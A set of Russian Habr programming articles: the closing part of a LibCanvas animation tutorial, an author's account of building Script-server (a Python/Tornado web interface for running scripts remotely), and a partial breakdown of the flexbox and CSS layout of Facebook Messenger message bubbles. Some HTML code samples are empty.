Сейчас мы просто нарисуем зелёный прямоугольник и красный круг на светло-кофейный холст:
```
LibCanvas.extract();
atom.dom(function() {
var canvas = atom.dom('canvas').first;
var context = canvas.getContext('2d-libcanvas');
context
.fillAll( '#efebe7' )
.fill( new Rectangle( 75, 75, 30, 30 ), 'green' )
.fill( new Circle ( 50, 50, 20 ) , '#c00' );
});
```
[](http://libcanvas.github.com/lessons/context.html)
Анимация
--------
Но такой подход позволяет отрисовывать только какие-нибудь статичные картинки. Для чего-нибудь интерактивного необходимо создать объект LibCanvas. Сделаем очень простое приложение — чёрный холст заполняется случайными прямоугольниками зелёного цвета.
Обратите внимание на два важных момента:
1. По-умолчанию холст очищается каждый кадр, потому необходимо выключить это поведение по-умолчанию при помощи `{ clear: null }`
2. Функция, переданная в start относится к этапу рендера, потому она не будет вызываться без обновления холста, чего мы добились благодаря `.addFunc( libcanvas.update )`. На самом деле это плохое решение, но в данном случае оно — подходит.
```
var libcanvas = new LibCanvas('canvas', { clear: null });
libcanvas.ctx.fillAll('black');
libcanvas
.start(function () {
this.ctx.fill(
new Rectangle({
from: this.ctx.rectangle.getRandomPoint(),
size: [ 2, 2 ]
}), 'green'
);
})
.addFunc( libcanvas.update );
```
[](http://libcanvas.github.com/lessons/random-fill.html)
Объекты
-------
Теперь добавим объект. Пускай это будет отрезок чёрного цвета, который будет вращаться вокруг одной из своих точек. В этот раз нам необходимо очищать холст перед отрисовкой следующего кадра, потому мы не будет отменять clear. Смотрим код и читаем комментарии:
```
var Item = atom.Class({
Implements: [ Drawable ],
// В конструкторе мы принимаем два аргумента -
// Point - центр вращения и скорость вращения в радианах за секунду
initialize: function (center, speed) {
this.line = new Line( center,
// Мы клонируем и смещаем точку вправо так мы получаем
// ещё одну точку в двадцати пикселях от текущей
center.clone().move([ 20, 0 ])
);
// время передаётся в милисекундах, а скорость указана в миллисекундах
// потому необходимо привести скорость к формату "радиан/миллисекунду"
this.speed = speed / 1000;
},
update: function (time) {
// мы вращаем вторую точку прямой вокруг первой
this.line.to.rotate(
// для того, чтобы скорость вращения не зависела от fps мы
// умножаем скорость на прошедшее время. Если fps низкий, то
// обновляться будет реже, но изменения будут на больший угол
this.speed * time,
this.line.from
);
// Необходимо сообщить libcanvas, что изменился
// внешний вид холста и надо бы его перерисовать
this.libcanvas.update();
},
draw: function () {
// просто рисуем прямую
this.libcanvas.ctx
.stroke( this.line, 'black' );
}
});
var libcanvas = new LibCanvas('canvas');
// Мы конструируем новый объект
// Обратите внимание на запись угла. Человеку обычно привычнее считать угол в градусах
// В программировании принято хранить угол в радианах.
// Такая запись позволяет легко получить радианы из градусов
var item = new Item( new Point(50, 50), (180).degree() );
libcanvas.addElement( item )
// Очень важно не забыть "запустить" LibCanvas, он ждёт вашей команды "start"
.start()
// обратите внимание, что если мы просто передадим "item.update", то он будет вызван
// с неверным контекстом, потому привязываем его при помощи bind к объекту:
.addFunc( item.update.bind(item) );
```
У нас получилась [крутящаяся стрелочка](http://libcanvas.github.com/lessons/rotating-item.html).
Реакция на мышь
---------------
Давайте возьмём нашу стрелочку в красный круг, который можно таскать. Это достаточно просто, я покажу, что изменилось, как видите, всего несколько строчек. Обратите внимание, что я создал свойство `shape`, а не `circle`. Это необходимо для Draggable.
```
var Item = atom.Class({
Implements: [ Drawable, Draggable /* Таскаемый */ ],
[...]
initialize: function (center, speed) {
[...]
// создаём круг
this.shape = new Circle( center, 25 );
},
[...]
draw: function () {
[...]
.stroke( this.shape, '#c00' );
}
});
[...]
libcanvas.listenMouse();
item.draggable()
```
Мы видим, [что практически всё заработало](http://libcanvas.github.com/lessons/circle-arrow-wrong.html), но есть ошибка, когда мы тягаем круг — стрелка меняет свою длину. Секрет в том, что, когда мы перемещаем круг, также перемещается точка `center`, которая является началом отрезка. Конец отрезка остаётся на месте и начинает вертеться по новой траектории. Его необходимо смещать вместе с началом. Это очень легко сделать, подписавшись на событие move у точки:
```
initialize: function (center, speed) {
[...]
// Необходимо, чтобы вторая точка двигалась вместе с первой
center.addEvent('move', function (diff) {
this.line.to.move(diff);
}.bind(this))
},
```
[Теперь корректно](http://libcanvas.github.com/lessons/circle-arrow.html)
Секундомер
----------
Теперь добавим ещё одну стрелку и реализуем таким образом секундомер — времени, которое прошло с момента захода на страницу. Код немножко измениться, но, в основном, он будет очень похож на предыдущий, потому я прокомментирую только важные участки и приведу только код класса:
```
var StopWatch = atom.Class({
Implements: [ Drawable, Draggable ],
initialize: function (center) {
this.center = center;
this.millisec = this.line();
this.seconds = this.line();
this.minutes = this.line();
this.shape = new Circle( center, 25 );
center.addEvent('move', function (diff) {
// мы вызываем метод "move" с параметром "diff" у всех точек
[this.millisec.to, this.seconds.to, this.minutes.to].invoke('move', diff);
}.bind(this));
},
// Метод для удобного создания линии
line: function () {
return new Line( this.center, this.center.clone().move([0, -20]) );
},
update: function (time) {
var full = (360).degree();
// Методы toSeconds, toMinutes и toHours взяты из LibCanvas.Utils.Math
// Миллисекундная стрелка должна сделать полный оборот за секунду
this.millisec.to.rotate( full * time.toSeconds(), this.center );
// Секундная - за минуту
this.seconds .to.rotate( full * time.toMinutes(), this.center );
// Минутная - за час
this.minutes .to.rotate( full * time.toHours() , this.center );
this.libcanvas.update();
},
draw: function () {
this.libcanvas.ctx
.stroke( this.shape , '#c00' )
.stroke( this.millisec, '#999' )
.stroke( this.seconds , '#000' )
.stroke( this.minutes , '#090' );
}
});
```
[Вот, получилось!](http://libcanvas.github.com/lessons/stopwatch.html)
Заключение
----------
Да, порог вхождения высок. Но взамен вы получаете высокооптимизированное приложение, расширяемость, хорошую архитектуру и мощный инструментарий. Надеюсь статьи пролили свет на LibCanvas.
Если у вас всё-ещё есть вопросы — можете смело писать в комментарии, на емейл shocksilien@gmail.com или в джаббер shock@jabber.com.ua | https://habr.com/ru/post/121047/ | null | ru | null |
# Script-server. WebUI для удалённого запуска ваших скриптов
Всем привет. В данной статье я бы хотел рассказать про свой домашний проект. Если коротко: Script server является веб-сервером для предоставления пользователям доступа к вашим скриптам через web-интерфейс. Сервер и скрипты запускаются локально, а параметризуются и показываются удалённо.
Предыстория
-----------
На новом месте работы, первые мои задачи были весьма рутинны и однообразны. Схематично они выглядели так:
1. Создать файл my\_file.txt
2. Прописать туда новую конфигурацию
3. Задеплоить на сервер
4. Закомиттить
Шагов было больше и они были посложнее, но уже через пару таких итераций лень победила и для всех повторяющихся задач были написаны shell-скрипты, которые запускались с несколькими параметрами и иногда запрашивали дополнительные входные данные в процессе работы. В то же время, рабочий процесс стал выглядеть примерно так:
1. спросить у руководителя проекта нужные параметры
2. запустить скрипт
3. доложить о готовности
Все эти пункты явно напрашивались на схлопывание в один, чтобы руководитель проекта указывал параметры и сам запускал скрипт. Но давать ему скрипты было очень проблематично по ряду причин — скрипты были адаптированы под моё окружение, они могли сбоить, они были достаточно дружелюбны для меня, но не для нетехнических людей, и т.п.
Надо сказать, что к определённому моменту подобные задачи уже перестали на меня назначать и у созданных скриптов без необходимой адаптации было очень призрачное будущее.
Поэтому я решил создать инструмент, который позволит удалённо запускать мои скрипты другим людям, без необходимости создавать необходимое окружение и в более удобной форме настраивать их запуск.
На пути создания
----------------
#### Схема работы
Администратор сервера (т.е. я) создаёт файлы конфигурации для каждого скрипта, в которых описывает предназначение скрипта, путь запуска и требуемые параметры. Эти файлы конфигурации используются сервером для предоставления данных о скриптах пользователю, а также для их запуска. Информация на страницу пользователя передаётся Ajax запросами.
Пользователь заполняет параметры и запускает скрипт на сервере, где его выполнение передаётся специальному обработчику. Обработчик в асинхронном режиме принимает input и предоставляет output, а также следит за процессом выполнения скрипта.
Веб сервер служит прослойкой между этим обработчиком и страницей, и через веб-сокеты осуществляет обмен данными.
#### Выбор инструментов
В то время я учил Python и для разработки решил использовать именно его, как неплохую практику. Для проекта был выбран Python 3, без поддержки 2й версии, поскольку необходимости в этом нет, а тратить лишнее время не хотелось.
В начале разработки для сервера я использовал Flask, но не смог сделать (*читай разобраться*) с асинхронностью и отслеживанием подключения/отключения клиентов, поэтому довольно быстро перевёл все на Tornado.
Касаемо web разработки: Web-разработчик из меня никакой, поэтому здесь я тоже решил немного попрактиковаться в синтаксисе и основах. В связи с этим не было использовано почти никаких фреймворков и библиотек, за исключением materializecss для более-менее приличного оформления.
Web страница представляет собой «одностраничное приложение» с минимумом HTML и созданием контента в JS по Ajax запросам.
#### Первая эксплуатация и улучшения
Примерно через месяц у меня получился сервер, который худо-бедно можно было использовать и я поделился им с коллегами-разработчиками, которым тоже приходилось выполнять эти рутинные задачи (которые как назло в этот период почти закончились).
В процессе эксплуатации были обнаружены как баги, так и явно недостающие элементы, над которыми я потихоньку работал и улучшал. В то же время были добавлены мелкие улучшения, такие как типы параметров, логгирование всех запусков и т.п.
**Интересный момент:** для некоторых мелких задач (связанных с работой в консоли и со скриптами) я также перестал пользоваться консолью, а перешёл на этот UI. Т.е. у меня заведено несколько конфигураций скриптов, которые я использую чаще, чем другие люди.
#### Эксплуатация реальным пользователем
Спустя некоторое время локального тестирования (мною и другими разработчиками), инструмент был наконец предоставлен руководителю проекта, который начал потихоньку им пользоваться. И надо отметить, что он очень доволен, т.к. это экономит в том числе и его время. Процесс «внедрения» и обучения пользователя занял примерно 5 минут.
Из-за особенностей процессов и ограничений, Script server используется в основном для тестового окружения. Но некоторые его части уже стали использоваться и для Production (в той части, где это безопасно).
Основные камни
--------------
Ниже приведён список проблем и моих личных открытий, которые мне больше всего запомнились.
Передача выходных данных из процесса выполнения скрипта на страницу в асинхронном режиме. Тут сказалось отсутствие опыта как во Flask, так и в вебе: как лучше организовать такую передачу. В итоге реализовал на вебсокетах передачу данных в виде событий (тип и данные). Также в событиях можно отправлять и другие команды во время выполнения, но пока это не используется.
Передача ввода пользователя в исполняемый скрипт. Пытался сделать запрос на ввод только при ожидании такового в скрипте, но не нашёл способа. Поэтому пользователи во время выполнения скрипта могут вводить столько информации, сколько хотят (обычный терминал ведет себя так же). Данные отправляются через тот же вебсокет.
Отслеживание отключения пользователей. Именно из-за этой проблемы отказался от Flask: в тот момент я делал не на вебсокетах, а на SSE (ну почти). Однако позже я все же перевёл передачу input/output скрипта на вебсокеты, так что возможно и Flask бы подошёл. В Торнадо же просто можно подписаться на закрытие вебсокета.
Считывание выходных данных выполнения скрипта. Тут была проблема с тем чтобы считывать только текущие доступные данные и отправлять на клиент. Считывать по строкам нельзя, т.к. например «read -p input\_prompt» не переносит на следующую строку. Считывать по символам можно, но отправлять так много запросов на клиент не стоит. Считывание буфером даёт строку обрезанную в непонятных местах (а ещё и в случае UTF-8 это порождает неправильные символы). Текущее решение изобилует набором компромиссов и костылей, но в целом это побуферное считывание с отключение блокировки чтения.
Output скриптов в (не)терминальном режиме. Честно говоря для меня это было открытием: output скриптов может отличаться если запускать их в терминале или вне. Например тот же…
```
read -p input_prompt
```
… показывает *input\_prompt* только в терминальном режиме. Не очень хорошо чего-либо ждать от пользователей, не показывая им чего именно. Пришлось разбираться с pty, чтобы обманывать запускаемые скрипты. По этой причине у меня сейчас два типа обёрток для запуска скриптов: с поддержкой терминала и без. Первый включается по-умолчанию, второй можно включить с помощью конфигурации (оставил его на всякий случай, если терминальный режим будет сбоить).
Автоскролл выходных данных скрипта. С одной стороны это решается довольно просто, с другой стороны были проблемы с настройкой автоматического отключения этого (если пользователь скроллит вручную или выделяет текст), а также с тенью, вводом пользователя и т.п. Ничего экстраординаорного, но несколько часов потратить пришлось.
Настройка панели с выходными данными скрипта таким образом, чтобы она занимала всё доступное место, но при этом никогда не выходила за границы окна. Таким образом страница всегда умещается в окно и единственный скролл добавляется именно внутри output панели. Для меня это было особенно важно, т.к. я категорично не люблю скроллы в скроллах.
Производительность страницы при очень большом количестве выходных данных скрипта. Тут со мною злую шутку сыграл следующий код:
```
htmlElement.innerText += "text";
```
Дело в том, что получение *innerText* это сама по себе довольно ресурсоёмкая операция, которая пытается представить входящий html как строку, даже если это просто текст. Если вызывать эту операцию пару сотен раз и для тысячи символов, то эффект не заметен, но в моем случае данных было гораздо больше и браузер просто зависал на несколько минут от такой нагрузки. Решилось изменением кода на следующий:
```
var textNode = document.createTextNode("text");
htmlElement.appendChild(textNode);
```
Висящие процессы, т.е. никто ничего не выполняет, но в процессах висит выполняемый скрипт. Причины были разные, например: пользователь закрыл страницу, а сервер не обрабатывает это. Или не закрытый дескриптор файла. Или незакрытые дочерние процессы. И это не считая других очевидных багов. Но устранялось все гуглёнием, изучение и исправлением.
Безопасность
------------
Её нет, совсем. Данный инструмент рассчитан на локальный запуск и работу в локальной сети с доверенными пользователями. Поскольку зачастую скрипты тоже пишутся для себя, они также не являются особо защищёнными. Соответственно прежде чем запускать такой сервер, нужно быть на 100% уверенным в фаерволле и пользователях.
С точки зрения скрытия данных, в Script server на текущий момент также ничего нет. Включать пароли в качестве параметров или в конфигурацию крайне не рекомендуется, поскольку они будут логироваться и храниться в чистом виде.
Примеры и скриншоты
-------------------
Для отладки в проекте я завёл тестовые конфигурации, которые можно использовать для тестирования и демонстрации. В данном разделе все предоставленные скриншоты будут основываться на них.
#### Конфигурация скриптов
Относительно стандартный баш скрипт с параметрами, вводом пользователя во время работы и печатью: [Write file](https://github.com/bugy/script-server/blob/master/testing/configs/write_file.json).
Простой питон-скрипт, который выводит стену текста, разбивая его на абзацы и запрашивая input пользователя: [Destroy world](https://github.com/bugy/script-server/blob/master/testing/configs/destroy_world.json). Эта конфигурация используется для отладки пользовательского интерфейса при отображении параметров. Содержит все возможные типы параметров: [Parameterized](https://github.com/bugy/script-server/blob/master/testing/configs/parameterized.json)
#### Скриншоты
##### Полный экран
Слева область выбора скриптов, справа информация по текущему открытому скрипту:
* Название
* Описание
* Список параметров
* Кнопки запуска/остановки
* Output скрипта
##### Панель параметров
В этом хаосе можно увидеть семейство разных типов параметров: обязательные, списки, числа, булеаны. Скриншот создан на основе конфигурации [Parameterized](https://github.com/bugy/script-server/blob/master/testing/configs/parameterized.json)
##### Панель input/output
Сверху кнопки запуска и остановки. Поскольку скрипт запущен, активна только последняя. Ниже панель выходных данных скрипта, в самом низу поле для ввода входных данных. Панель выходных данных сжата по высоте для демо-цели, в обычном окне она гораздо выше.
Дальнейшие шаги
---------------
На данный момент разработка не ведётся, т.к. в текущем виде Script server полностью покрывает возложенные на него задачи. Что-либо оптимизировать в текущем интерфейсе я также не вижу необходимости. Таким образом мы с ним оба находимся в ожидании новых вызовов и проблем.
В частности, я был бы крайне рад, если бы данный инструмент так же пригодился кому-либо из хабрасообщества и у меня бы появилась необходимость в новых улучшениях.
» Ссылка на репозиторий проекта: [github.com/bugy/script-server](https://github.com/bugy/script-server)
Список используемых библиотек/фрейворков/благодарностей:
* materializecss — [materializecss.com](http://materializecss.com/)
* tornado — [www.tornadoweb.org](http://www.tornadoweb.org/)
* Отдельное спасибо моему прежнему коллеге за поддержку и помощь в решении некоторых web проблем, особенно касаемых вёрстки.
Спасибо всем тем, кто нашёл время прочитать данную статью. Буду признателен за ценные комментарии и критику (с точки зрения подхода, приложения или особенностей реализации). | https://habr.com/ru/post/309518/ | null | ru | null |
# Разработка настоящих компонентов: блок сообщения Facebook Messenger
Смесь любопытства и тяги к исследованиям снова привели меня к системе обмена сообщениями Facebook. Я уже изучал компоненты Facebook и [писал](https://ishadeed.com/article/building-real-life-components/) об этом. Сейчас я обратил внимание на то, что в одни только блоки для вывода сообщений чата вложена огромная работа. На первый взгляд может показаться, что разработка компонента, реализующего чат — это просто, что у составных частей такого компонента будет не особенно много вариаций.
Если же вникнуть в тему работы с сообщениями, то окажется, что один только интерфейс чата — это такая штука, при создании которой нужно учесть невероятное количество деталей. Особенно — если это чат некоей платформы, сравнимой по масштабам с Facebook.
[](https://habr.com/ru/company/ruvds/blog/587724/)
В этой статье я расскажу об устройстве компонента, представляющего собой блок сообщения Facebook Messenger, покажу варианты его стилизации, поделюсь некоторыми интересными находками.
Предварительные сведения
------------------------
Для того чтобы было понятнее — сразу показываю блок сообщения, о котором пойдёт речь.
*Блок сообщения*
Кажется, что всё тут устроено довольно просто. Но если задуматься о различных вариантах такого компонента, получится, что это совсем не так. Я, чтобы лучше понять ход мыслей дизайнеров Facebook, воссоздал разные варианты блока сообщений в Figma.
*Разновидности блоков сообщений*
Написание HTML- и CSS-кода для подобного компонента — это нетривиальная (но очень интересная) задача. В данном случае компонент чата должен быть динамическим для того чтобы справиться с выводом самого разного содержимого и служебной информации, для поддержки тем оформления и вывода текстов на разных языках.
Я, чтобы избежать путаницы, не буду хвататься сразу за всё. Вместо этого расскажу об анатомии блока сообщений.
Анатомия блока сообщений
------------------------
Я употребил тут слово «анатомия» из-за того, что мне нравится, так сказать, «препарировать» пользовательские интерфейсы. Я в такие моменты прямо-таки вижу, как я, в лаборатории, за микроскопом, исследую устройство компонентов.
Для начала мне хотелось бы обратить ваше внимание на то, что структура отправленных и полученных сообщений различается.
*Окно чата, LTR-язык*
Если вы пишете слева направо (LTR, Left-To-Right), как, например, принято в английском языке, тогда блок с вашими сообщениями, синий, будет справа, а блок собеседника (серый) — слева.
Если же вы пользуетесь RTL-языком (Right-To-Left, справа налево), например — арабским, тогда блоки поменяются местами.
*Окно чата, RTL-язык*
Учитывая это — рассмотрим структуру компонента, реализующего блок сообщения.
*Внешний контейнер (Outer container), внутренний контейнер (Inner container), аватар пользователя (Avatar), разделитель (Spacer), меню действий (Actions Menu), область вывода сообщения (Bubble), область вывода состояния сообщения (Status)*
Блок сообщения чата состоит из следующих частей:
* Внешний контейнер, включающий в себя область вывода состояния сообщения, внутренний контейнер, аватар.
* Внутренний контейнер, в состав которого входят такие элементы, как область вывода сообщения, меню действий, разделитель.
Для того чтобы было понятнее — на следующем рисунке внешний и внутренние контейнеры отделены друг от друга.
*Внешний и внутренний контейнеры блока сообщения*
Возможно, вы обратите внимание на то, что область для вывода аватара очень мала. А где сам аватар? Это — хороший вопрос.
Выше показана структура сообщения в том виде, в котором его видит тот, кто это сообщение отправил. Если же речь идёт о принятом сообщении, то оно будет выведено в блоке, представляющим собой, по большей части, зеркальное отражение вышерассмотренного блока. Я, исследуя возможность создания этого «зеркального» блока без необходимости разработки отдельного компонента, кое-что выяснил.
А именно, положение первого и последнего элементов блока (аватара и состояния сообщения) не зависит от того, кто отправил сообщение. Они «отражаются» лишь в том случае, если меняется направление вывода текста (LRT на RTL или наоборот). Вот ещё некоторые наблюдения:
* Место для аватара зарезервировано даже в том случае, если аватар в нём не выводится. Если вы отправляете сообщение — это место будет пустым.
* Но если кто-то отправляет сообщение вам — в месте для аватара будет выведено соответствующее изображение.
* «Отражается» лишь внутренняя часть блока сообщения (внутренний контейнер), которая содержит поле для вывода содержимого сообщения, меню и разделитель.
*Блоки отправленного и принятого сообщений*
У такого решения есть одна ценная особенность: он отлично подходит и для LTR макетов, пример которого рассмотрен выше, и для RTL-макетов. Обратите внимание на то, что весь внешний контейнер автоматически «переворачивается» при использовании RTL-макетов.
*LTR- и RTL-макеты блока отправленного сообщения*
А вот — сводная схема, где показаны принятые и отправленные сообщения в LTR и RTL-исполнении.
*LTR- и RTL-макеты блока отправленных и принятых сообщений*
Выше я старался рассказывать об устройстве блока сообщений так, чтобы меня понял бы и тот, кто ничего не знает об HTML и CSS. В следующих разделах я расскажу о том, как реализовать все эти структуры в коде, уделив внимание их различным вариантам.
Базовый HTML- и CSS-код
-----------------------
Вот как выглядит базовая структура блока сообщения в HTML:
```
```
Вот базовые стили:
```
.message__outer {
display: flex;
}
.message__inner {
flex: 1;
display: flex;
flex-direction: row-reverse;
}
```
Ниже показан результат визуализации этого кода (я, чтобы внести предельную ясность в повествование, выделил границы элементов).
*Базовый блок сообщения*
Теперь можно заняться стилизацией внутренних областей блока. А именно, речь идёт об области для вывода сообщения, о меню и о разделителе.
Вот CSS-код:
```
.message__actions {
width: 67px;
padding-right: 5px;
}
.message__spacer {
flex: 1;
}
```
*Стилизация внутренней части блока сообщения*
Полагаю, то, что меню назначена фиксированная ширина, объясняется следующими причинами:
* Резервирование пространства для предотвращения сдвига макета.
* Улучшение возможностей управления внутренней частью макета. Например, при стилизации области вывода сообщения нужно использовать свойство `max-width`. Может понадобиться вычесть ширину области меню из ширины области вывода сообщения.
Для того чтобы обеспечить правильный вывод блока сообщения в области просмотра маленькой ширины, нужно обратить внимание на следующее:
* Необходимо рассчитывать на то, что может возникнуть ситуация, когда элемент-разделитель, из-за нехватки места, придётся сжать.
* Нужно предотвратить уменьшение размеров области меню в маленьких областях просмотра.
* Нужно избежать чрезмерного растягивания блока вывода сообщения путём разбиения очень длинных слов.
```
.message__bubble {
max-width: calc(100% - 67px);
overflow-wrap: break-word;
}
.message__actions {
flex-shrink: 0;
}
```
Теперь поговорим о стилизации области вывода состояния сообщения и области вывода аватара (прямых потомков внешнего контейнера).
Работа с RTL- и LTR-текстами
----------------------------
Стоит упомянуть, что область вывода сообщения поддерживает представление текстов, написанных на RTL- и LTR-языках, благодаря использованию HTML-атрибута `dir` со значением `auto`.
```
```
Если в сообщении сначала был введён текст на RTL-языке (на арабском, например), то, даже если потом ввести текст на LTR-языке, он будет выровнен по правому краю.
И, аналогично, если сначала в поле был введён текст на LTR-языке (например — на английском), а потом — на RTL-языке, он будет выровнен по левому краю.
*Выравнивание текстов в сообщениях, где одновременно используются RTL- и LTR-языки*
Стилизация области вывода состояния сообщения
---------------------------------------------
Область, используемая для вывода состояния сообщения, представляет собой элемент-обёртку, в котором могут выводиться различные значки.
*Область вывода состояния сообщения*
В данном контейнере могут выводиться различные элементы, указывающие, например, на то, что сообщение отправлено, доставлено или прочитано.
*Различные значки, указывающие на состояние сообщения*
Вот как выглядит HTML-разметка этого элемента:
```
```
Здесь, для выравнивания дочернего элемента по нижнему краю контейнера, использован Flexbox-макет. Обратите внимание на то, что свойству `flex-direction` назначено значение `column`.
```
.message__status {
width: 20px;
display: flex;
flex-direction: column;
align-items: center;
justify-content: flex-end;
}
```
При таком подходе дочерний элемент всегда будет прижат к нижней части контейнера. Даже тогда, когда высота блока вывода сообщения очень велика. Это важно для тех случаев, когда выводятся сообщения, содержащие очень длинные предложения, сообщения, состоящие из нескольких строк, или содержащие изображения.
*Высокие сообщения и область вывода состояния сообщения*
Если вы пользуетесь Facebook, то вы, возможно, обратили внимание на то, как действует значок, указывающий на то, что сообщение прочитано. А именно, когда отправленное сообщение видит адресат, выводится аватар. При отправке другого сообщения место для вывода состояния сообщения остаётся пустым, но другие элементы его не занимают.
*Значки, указывающие на состояние сообщения*
Стилизация области вывода аватара отправителя сообщения
-------------------------------------------------------
У элемента-обёртки для вывода аватара, по умолчанию, настроены свойства, задающие его горизонтальные поля, что позволяет зарезервировать место для аватара. Этот элемент оказывается пустым в том случае, если сообщение отправляете вы. А вот если сообщение отправляют вам — в этом элементе будет аватар отправителя.
Вот HTML-код:
```
```
Вот — стили:
```
.message__avatar {
padding-left: 6px;
padding-right: 8px;
}
```
Когда обёртка аватара пуста, её ширина будет составлять `14px` (сумма размеров полей `6px` и `8px`).
*Пустой элемент-обёртка для вывода аватара*
Если же речь идёт о просмотре принятого сообщения — в элементе-обёртке будет выведено изображение аватара размером 28x28.
*Элемент-обёртка с аватаром*
Для того чтобы всё было бы предельно ясно — на следующем рисунке показаны элементы-обёртки аватара отправленного и полученного сообщения.
*Отправленное и полученное сообщения*
Стилизация меню
---------------
С каждым сообщением может быть связан набор действий, представленных командами меню, выводимого при наведении указателя мыши на соответствующую область:
* Работа с эмотиконами.
* Ответ на сообщение или его цитирование.
* Пересылка материалов сообщений (для сообщений с изображениями или видео).
* Дополнительные команды меню (три точки).
Вот некоторые замечания по поводу этого меню:
* У него есть правое поле в том случае, если речь идёт об области для вывода отправленного сообщения. В противном случае у него имеется левое поле.
* Оно, для получателя сообщения, представлено в отражённом виде с помощью `flex-direction: row-reverse`. Стандартный порядок его вывода применяется при выводе собственных сообщений у отправителя этих сообщений.
Особенно мне тут нравится широкое использование Flexbox. Я прямо-таки счастлив, когда вижу нечто подобное.
Вот схема «отражения» области вывода меню при просмотре собственных и полученных сообщений.
*Область вывода меню в собственном и полученном сообщении*
Если сообщение очень длинное, а так же — при отправке изображений или видео, меню должно быть центровано по вертикали. Этого можно добиться с использованием Flexbox-инструментов для выравнивания материалов.
Вот разметка:
```
```
Вот CSS-код:
```
.message__actions {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
width: 67px;
padding-right: 5px;
}
```
*Выравнивание меню при выводе длинных сообщений*
Как так получается? Дело в том, что если в сообщении имеется длинный текст или изображение — элемент `.message__actions` растянется так, чтобы соответствовать высоте родительского элемента. Это — стандартное поведение Flexbox-макетов. Мы можем этим воспользоваться для того чтобы отцентровать меню по вертикали.
Теперь, когда мы разобрались с базовым блоком сообщений — поговорим о вариациях таких блоков.
Вывод нескольких блоков сообщений
---------------------------------
Если отправить кому-то подряд несколько сообщений — для вывода блоков сообщений будут использоваться элементы, углы которых скруглены по-разному, причём, эти блоки ещё и по-разному выглядят для отправленных и принятых сообщений.
*LTR- и RTL-макеты и различные блоки для вывода нескольких сообщений, отправленных или полученных друг за другом*
Более того — области вывода сообщений меняются местами в LTR- и RTL-макетах. Хотелось бы мне, чтобы логические свойства `border-radius` пользовались бы достаточно хорошей поддержкой браузеров, позволяющей применять их в продакшне. Пока логические значения для свойств `border-radius` поддерживаются в браузере Chrome 89 (вышел 1 марта 2021 года).
Если бы эти свойства пользовались широкой поддержкой браузеров, то нашу задачу с их помощью можно было бы решить примерно так:
```
/* Отправитель, сообщения с синим фоном */
/* Первое сообщение */
.message--first .message__bubble {
border-end-end-radius: 4px;
}
/* Сообщение, находящееся в середине набора сообщений */
.message--middle .message__bubble {
border-start-end-radius: 4px;
border-end-end-radius: 4px;
}
/* Последнее сообщение */
.message--last .message__bubble {
border-start-end-radius: 4px;
}
```
Знаю, что «двойные» переменные, в названиях которых есть нечто вроде `end-end`, могут, на первый взгляд, показаться непонятными. Поэтому попробую раскрыть их смысл с помощью следующего рисунка.
Итак, у нас есть две оси (Block и Inline), каждая из них имеет значения `start` и `end`.
*LTR-макет*
Если речь идёт о RTL-макете, то `Start` и `End` оси Inline меняются местами. При таком подходе нам не нужно переназначать значение для радиуса и менять направление. Обратите внимание на то, что на следующем рисунке, если сравнить его с предыдущим, `Inline Start` и `Inline End` поменялись местами.
*RTL-макет*
Если вы хотите лучше разобраться с логическими CSS-свойствами — [вот](https://ishadeed.com/article/css-logical-properties/) моя статья на эту тему.
Поддержка вывода изображений
----------------------------
*Отправленное и принятое сообщения, содержащие изображения*
Может показаться, что организовать поддержку вывода изображений разных размеров и обладающих различным соотношением сторон — это просто. Возможно, нужно всего лишь воспользоваться свойством `max-width: 100%` — и всё готово. Была у вас такая мысль? Но в случае с Facebook Messenger всё гораздо интереснее.
Когда пользователь выгружает изображение — его ширина задаётся во встроенном CSS-коде. Там ещё имеется и свойство `padding-bottom: 56.66%` для обеспечения отзывчивости изображения (это — так называемый «padding hack»).
Вот HTML-код:
```
[](#)
```
Вот — стили:
```
.image {
display: block;
border-radius: 18px;
border: 1px solid #0006;
overflow: hidden;
}
.image__main {
max-width: 480px;
}
.image__element {
max-width: 100%;
position: relative;
}
.image__aspectRatio {
position: relative;
}
.image__wrapper {
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
width: 100%;
height: 100%;
}
.image__wrapper img {
display: block;
max-width: 100%;
max-height: 200px;
width: 100%;
height: 100%;
}
```
Все изображения должны подчиняться следующим правилам:
* Максимальная ширина изображения — `480px`.
* Максимальная высота изображения — `200px`.
* Соотношение сторон изображения не должно меняться при изменении его размеров.
* Если размеры изображения меньше вышеозначенных значений — оно должно выводиться в своём исходном состоянии.
В том, как всё это реализовано, есть одна примечательная деталь, которая заключается в том, что сведения о соотношении сторон изображения генерируются, что называется, «на лету», на основании параметров используемого изображения.
*Вывод изображений с разным соотношением сторон*
Более того, важно помнить о том, что [Flexbox-макет](https://ishadeed.com/article/min-max-css/#setting-min-width-to-zero-with-flexbox) не сжимает изображения до размеров, которые меньше минимальных размеров содержимого такого макета. То есть — если довести ширину окна браузера до определённого значения — Flex-элемент не станет меньше, чем минимальные размеры его содержимого. Для того чтобы это исправить, нужно свойство `min-width: 0`.
*Макет, который нуждается в доработке*
В моём демонстрационном коде Flex-элемент является прямым потомком `message__outer`, в нашем случае это — `message__row`.
```
.message__row {
min-width: 0;
/* другие стили */
}
```
Вот как всё должно выглядеть в том случае, если всё работает так, как должно работать.
*Доработанный макет*
Может, у кого-то возникнет мысль о том, что тут можно было бы дать изображению фиксированную ширину и воспользоваться встроенным CSS. Но надо понимать, что за каждым решением, даже небольшим, принятым разработчиками, стоит некая веская причина. Полагаю, что в данном случае всё дело в загружаемом изображении. Если бы не был задан фиксированный размер изображения — мы столкнулись бы со сдвигами макета.
Вывод нескольких изображений
----------------------------
Если пользователь отправляет в чате сразу несколько изображений, соотношения их сторон не учитываются. Вместо этого каждое изображение размещается в квадратной области, а волшебное свойство `object-fit` позволяет не искажать и не растягивать изображения.
*Вывод нескольких изображений*
```
.gallery {
display: flex;
flex-wrap: wrap;
flex: 1;
/* Отрицательное поле позволяет выровнять галерею с
элементами того же уровня. */
margin: -2px;
}
.gallery__item {
/* Добавить смещение размером 2px вокруг каждого изображения, что даст
4px для двух смежных изображений. */
padding: 2;
}
.gallery__item--third {
flex: 33.33%;
}
.gallery__item--half {
flex: 50%;
}
```
Вот что здесь происходит:
* Сетка для вывода изображений построена с использованием CSS Flexbox.
* Ширина изображения составляет треть или половину ширины Flexbox-контейнера, что зависит от количества изображений.
* Расстояние между изображениями регулируется путём настройки полей родительских элементов изображений.
* Чтобы не оставлять ненужных пустых пространств вокруг границ галереи, во Flex-контейнере должно быть использовано отрицательное значение свойства `padding`.
